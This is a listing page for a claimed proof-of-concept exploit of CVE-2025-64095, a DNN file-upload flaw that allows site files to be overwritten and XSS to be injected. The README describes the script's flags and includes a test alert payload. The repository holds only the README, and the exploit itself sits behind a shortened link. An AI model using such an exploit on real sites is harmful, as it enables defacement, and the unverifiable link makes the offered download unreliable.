CVE-2025-64095 PoC — DNN Insufficient Access Control - Image Upload allows for Site Content Overwrite

Source

Associated Vulnerability

Readme

# DNN Image Upload Exploit - CVE-2025-64095

## Overview
This exploit targets a critical vulnerability in DNN (DotNetNuke) versions prior to 10.1.1, allowing unauthenticated users to upload and overwrite files via the default HTML editor provider. By exploiting this, an attacker can replace existing site files, leading to defacement or injection of XSS payloads.

## Requirements
- Target DNN installation running version < 10.1.1
- Access to the site's HTML editor endpoint
- Basic tools: curl or a similar HTTP client for sending requests
- Optional: Burp Suite or similar for request manipulation


## Usage
```
python cve-2025-64095.py --help
```
- `--target`: URL of the DNN site
- `--payload`: Local file to upload
- `--path`: Remote path to overwrite
- `--xss`: Enable XSS mode (injects <script>alert('XSS')</script>)

## Disclaimer
For educational and penetration testing purposes only. Use responsibly and with permission.

## Exploit
[href](https://tinyurl.com/2wdm4ej6)

For any inquiries, please email me at: eviedejesu803@gmail.com

File Snapshot

 [4.0K]  /data/pocs/28efbeef58f321b6ca45969cee4c3e558ac34b73
└── [1.0K]  README.md

0 directories, 1 file

Remarks